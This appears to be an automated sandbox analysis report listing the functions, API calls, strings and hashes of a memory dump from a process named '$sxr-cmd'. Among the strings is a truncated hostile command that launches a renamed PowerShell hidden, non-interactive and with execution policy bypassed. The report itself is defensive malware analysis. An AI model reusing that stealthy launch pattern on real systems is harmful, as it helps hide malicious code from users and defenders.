SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551F16C
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551F185

Part of subcall function 00007FF6155001B8: _get_osfhandle.MSVCRT ref: 00007FF6155001C4
Part of subcall function 00007FF6155001B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF61550E904,?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF6155001D6

Strings

<noalias>, xrefs: 00007FF61551F03C
CMD.EXE, xrefs: 00007FF61551F19D

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_get_osfhandle_wcsuprtowupperwcschr
String ID: <noalias>$CMD.EXE
API String ID: 1161012917-1690691951
Opcode ID: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction ID: fa0cfaae1f7a6541d3cc6a64863540525ffd1c5a1ceab882eba4ce5225492382
Opcode Fuzzy Hash: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction Fuzzy Hash: FA917D2AB09E528AFB149B74E8501BDBAB0AF49F64F494135DD1E826B5EF3CAC458310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F32B0 Relevance: 27.2, APIs: 18, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF615503578: _get_osfhandle.MSVCRT ref: 00007FF615503584
Part of subcall function 00007FF615503578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF61550359C
Part of subcall function 00007FF615503578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035C3
Part of subcall function 00007FF615503578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035D9
Part of subcall function 00007FF615503578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF6155035ED
Part of subcall function 00007FF615503578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6154F32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF615503602

_get_osfhandle.MSVCRT ref: 00007FF6154F32F3
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014,?,?,0000002F,00007FF6154F32A4), ref: 00007FF6154F3309
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF6154F3384
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6155111DF

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Console$LockShared_get_osfhandle$AcquireBufferErrorFileHandleInfoLastModeReleaseScreenTypeWrite
String ID:
API String ID: 611521582-0
Opcode ID: d412da15cb949554b081a41741d7db10ae4ffc54f36c72ea7b4e9065a2faff7a
Instruction ID: cb19ea0827d5e2c7d343c0f2181014f36188174ed9a82c458a9d72d2ea3f89f7
Opcode Fuzzy Hash: d412da15cb949554b081a41741d7db10ae4ffc54f36c72ea7b4e9065a2faff7a
Instruction Fuzzy Hash: 52A16026B08E12CAEB148B69A8442BDFBA1FB49F65F455135CD0EC67A5DF3CAC45C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F1560 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 338fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F15BD

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F1620
FindClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F1638
FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F16C0

Part of subcall function 00007FF6154F1560: FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F17F0
Part of subcall function 00007FF6154F1560: FindClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F180C
Part of subcall function 00007FF6154F1560: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F183E

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61550AC35
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550AC68

Strings

\\?\, xrefs: 00007FF61550AC99

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Find$File$CloseFirstmemset$AttributesErrorLastNext
String ID: \\?\
API String ID: 628682198-4282027825
Opcode ID: bfecd11a4866ca550013cb8df7d01d0eb9b862476b4829b349704babc3ba77e1
Instruction ID: 853d749fe8e60687e22ce65127e84a8954a5f98150664ed2b0336c59c9dd876c
Opcode Fuzzy Hash: bfecd11a4866ca550013cb8df7d01d0eb9b862476b4829b349704babc3ba77e1
Instruction Fuzzy Hash: 19E18136B08A8296EB649B28D9502F9B7A0FB45F69F405136D90EC77E4EF3CE955C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FCE10 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 337COMMON

Download Yara Rule

APIs

_tell.MSVCRT ref: 00007FF6154FCEAF
memset.MSVCRT ref: 00007FF6154FCF5C
_wcsicmp.MSVCRT ref: 00007FF6154FCFAE
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF6154FD003
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6154FD01E
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154FD044
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF61550C889
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF61550C8A2

Strings

C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX, xrefs: 00007FF61550C9F1
GOTO, xrefs: 00007FF6154FD0A3

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CriticalSection$ConsoleEnterInfoLeaveOutput_tell_wcsicmpmemset
String ID: C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX$GOTO
API String ID: 3863671652-3149232499
Opcode ID: 0ae25ffffae42cbeff07b69f34e00ae9c076a34045a6fc06e9c4354b30aa6740
Instruction ID: a4b276466259d09d61d6b8eed9b829b80bd3fe23192a6da52d5bb97216b9c645
Opcode Fuzzy Hash: 0ae25ffffae42cbeff07b69f34e00ae9c076a34045a6fc06e9c4354b30aa6740
Instruction Fuzzy Hash: 06E1BB29A0DE4286FAA49B2DE4543B9E7A0AF46F74F554136C95EC62F1DF3CEC458300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F3410 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 160windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6154F3477
wcschr.MSVCRT ref: 00007FF6154F34A0
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6154F34DF
_ultoa.MSVCRT ref: 00007FF6155112DA
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6155112E6
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF61551131E

Strings

, xrefs: 00007FF6155112FB
System, xrefs: 00007FF61551133A
Application, xrefs: 00007FF615511341

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
String ID: $Application$System
API String ID: 3538039442-1881496484
Opcode ID: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
Instruction ID: e8a5b2f733b7a41be084e0ac652e4b08bf95ddf8339879dcc82f7bf4e31aa5d9
Opcode Fuzzy Hash: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
Instruction Fuzzy Hash: 81519A3AA09F41D6EB208B29B44067AFAA1FB89F64F459135DE4E877A4DF3CD845C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F372C Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 396COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F3921

Part of subcall function 00007FF6155009F4: iswspace.MSVCRT ref: 00007FF615500A11
Part of subcall function 00007FF6155009F4: wcschr.MSVCRT ref: 00007FF615500A2B

wcsrchr.MSVCRT ref: 00007FF6154F37D2
_wcsnicmp.MSVCRT ref: 00007FF6154F381A
wcsrchr.MSVCRT ref: 00007FF6154F3A0C
wcsrchr.MSVCRT ref: 00007FF6154F3A35
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6154F3A9D
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F3ACC
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6154F3AE1
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F3B1E

Strings

\, xrefs: 00007FF6154F3AB9
COPYCMD, xrefs: 00007FF6154F37AE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcsrchr$ErrorLast$AttributesFile_wcsnicmpiswspacememsetwcschr
String ID: COPYCMD$\
API String ID: 3989487059-1802776761
Opcode ID: d8d0bfbfdfe82cdd3103f4725bc29693bb562c2c5d4d39e0cb153c4cce5fb559
Instruction ID: 81e0ca4bec371da2c34eec566ff28fabccb0fd6e606598ee9012d9ed22bd20dc
Opcode Fuzzy Hash: d8d0bfbfdfe82cdd3103f4725bc29693bb562c2c5d4d39e0cb153c4cce5fb559
Instruction Fuzzy Hash: 00F1C369A08F4682EA549F19D4542BAB7A0FF45FA8F048036CA4E877B5EF3CE855C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615503140 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 229timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF615503189
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF61550319F
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6155031B5
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF6155031CB
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF61550E619
GetTimeFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0 ref: 00007FF61550E738

Strings

.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF615503147
%02d%s%02d%s, xrefs: 00007FF61550E799
HH:mm:ss t, xrefs: 00007FF61550E629
%2d%s%02d%s%02d%s%02d, xrefs: 00007FF615503236, 00007FF61550E5C9
, xrefs: 00007FF61550E718

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Time$File$System$FormatInfoLocalLocale
String ID: $%02d%s%02d%s$%2d%s%02d%s%02d%s%02d$.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$HH:mm:ss t
API String ID: 55602301-2548490036
Opcode ID: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
Instruction ID: 52bfda52bb643abdd0206781102a4429f37e9df4be48bb5a21e24c9ab25d37c7
Opcode Fuzzy Hash: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
Instruction Fuzzy Hash: 1FA1843AA18E42D6EB108B10E4402BAF7A5FB44F68F500136DA5EC76B4EF3CE945D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615521538 Relevance: 19.7, APIs: 13, Instructions: 169filememorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF615521408: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61552142A
Part of subcall function 00007FF615521408: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61552144F

Part of subcall function 00007FF615521408: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61552146C

SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6155215A8
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6155215D1
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61552160B
RtlDosPathNameToNtPathName_U.NTDLL ref: 00007FF615521635
memset.MSVCRT ref: 00007FF615521677
memmove.MSVCRT ref: 00007FF6155216AD
memmove.MSVCRT ref: 00007FF6155216E6
NtFsControlFile.NTDLL ref: 00007FF61552171D
RtlNtStatusToDosError.NTDLL ref: 00007FF61552172F
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61552173D
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF615521754
RtlFreeHeap.NTDLL ref: 00007FF61552177F
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615521797

Part of subcall function 00007FF615521A40: memset.MSVCRT ref: 00007FF615521AA6
Part of subcall function 00007FF615521A40: memset.MSVCRT ref: 00007FF615521ACC
Part of subcall function 00007FF615521A40: GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615521B3E
Part of subcall function 00007FF615521A40: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615521B67
Part of subcall function 00007FF615521A40: GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615521BD7
Part of subcall function 00007FF615521A40: _wcsicmp.MSVCRT ref: 00007FF615521C05

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememmove$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType_wcsicmp
String ID:
API String ID: 3935429995-0
Opcode ID: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
Instruction ID: 7b475f3706f6e233e3a5abf2e08e9966055b98a73a14fa2803b116421adf2063
Opcode Fuzzy Hash: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
Instruction Fuzzy Hash: 80618E3EA18A92C6E7149F21A40457AFBA4FF89FA4F098135DE4A837A4DF3CD8418740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F35B8 Relevance: 18.2, APIs: 12, Instructions: 214COMMON

Download Yara Rule

APIs

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F3620

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7911f8452db39d7657d313559ed3967f3c9c4d9a39ee1e7965673abb96ed0397
Instruction ID: 5e9f11c1c03cf58f6135ad639900d65e4e1d53faf3dbcc55d84df31b81558022
Opcode Fuzzy Hash: 7911f8452db39d7657d313559ed3967f3c9c4d9a39ee1e7965673abb96ed0397
Instruction Fuzzy Hash: 3091A236A09A82C6EB649F29D8502F9BBB0FB49F65F014135DA4E877A4DF3CD945C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FB0D8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154FB13F

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

_get_osfhandle.MSVCRT ref: 00007FF6154FB22A
_get_osfhandle.MSVCRT ref: 00007FF6154FB241

Part of subcall function 00007FF615501EA0: wcschr.MSVCRT ref: 00007FF615501EB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154FB2F7

Strings

DPATH, xrefs: 00007FF61550C078

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _get_osfhandlememset$wcschr
String ID: DPATH
API String ID: 3260997497-2010427443
Opcode ID: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
Instruction ID: 8b151dca0669e9d1261c1120e7fa35e3c34eab85822232cc3b431b0ac561c333
Opcode Fuzzy Hash: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
Instruction Fuzzy Hash: FDD17C26A08E4286EA249B69D8401BDA3A1FF46FA8F154232DA1DC77E5DF3CEC51C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615507FF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87filenativeCOMMON

Download Yara Rule

APIs

RtlDosPathNameToRelativeNtPathName_U_WithStatus.NTDLL ref: 00007FF61550802B
NtOpenFile.NTDLL ref: 00007FF615508092
RtlReleaseRelativeName.NTDLL ref: 00007FF6155080A4
RtlFreeUnicodeString.NTDLL ref: 00007FF6155080B4

Part of subcall function 00007FF615508114: NtQueryVolumeInformationFile.NTDLL ref: 00007FF615508151

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF6155080E2
NtSetInformationFile.NTDLL ref: 00007FF615510327
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615510342
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF615510356

Strings

@P, xrefs: 00007FF61550805E

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: File$InformationNamePathRelative$CloseDeleteErrorFreeHandleLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
String ID: @P
API String ID: 1801357106-3670739982
Opcode ID: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
Instruction ID: 39ad097056c994e282cac2004f08e94cf9e81b0d372a444838f7e9cf60b84ce5
Opcode Fuzzy Hash: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
Instruction Fuzzy Hash: 38415B36B04E41DBE7108F74D4802EDABB0FB89F68F458231DA5D96AA8DF78D908C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F2220 Relevance: 15.4, APIs: 10, Instructions: 368COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F2287
memset.MSVCRT ref: 00007FF6154F22AD
memset.MSVCRT ref: 00007FF6154F22D3
memset.MSVCRT ref: 00007FF6154F22F9

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F23F6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F2415
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F2434
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F2453

Part of subcall function 00007FF6154F2618: GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,00008000,00007FF6154F2397), ref: 00007FF6154F2666

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
